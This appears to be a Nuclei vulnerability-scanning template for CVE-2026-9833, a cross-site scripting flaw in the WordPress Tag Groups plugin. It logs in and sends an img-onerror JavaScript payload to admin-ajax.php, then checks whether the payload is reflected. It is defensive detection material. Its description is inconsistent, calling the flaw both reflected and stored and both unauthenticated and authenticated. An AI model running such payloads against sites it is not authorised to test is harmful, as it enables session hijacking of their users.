WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting

id: CVE-2026-9833

info:
  name: WordPress Tag Groups < 2.2.0 - Reflected Cross-Site Scripting
  author: anirbala98
  severity: high
  description: |
    The Tag Groups WordPress plugin < 2.2.0 contains a stored XSS caused by improper escaping of an AJAX parameter reflected in an HTML response, letting unauthenticated attackers execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, exploit requires victim interaction.
  impact: |
    Attackers can execute arbitrary JavaScript in browsers of logged-in users with edit_pages capability, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update the Tag Groups plugin to version 2.2.0 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-9833
    - https://wpscan.com/vulnerability/75792c33-2d9d-46db-a98c-00ec40951099/
    - https://wordpress.org/plugins/tag-groups/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2026-9833
    epss-score: 0.00524
    epss-percentile: 0.42879
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: publishpress
    product: tag-groups
    fofa-query: body="/wp-content/plugins/tag-groups/"
  tags: cve,cve2026,wordpress,wp-plugin,tag-groups,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=tg_ajax_manage_groups&tag_groups_task=%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E&nonce=fake HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<img src=x onerror=alert(document.domain)>")'
        condition: and
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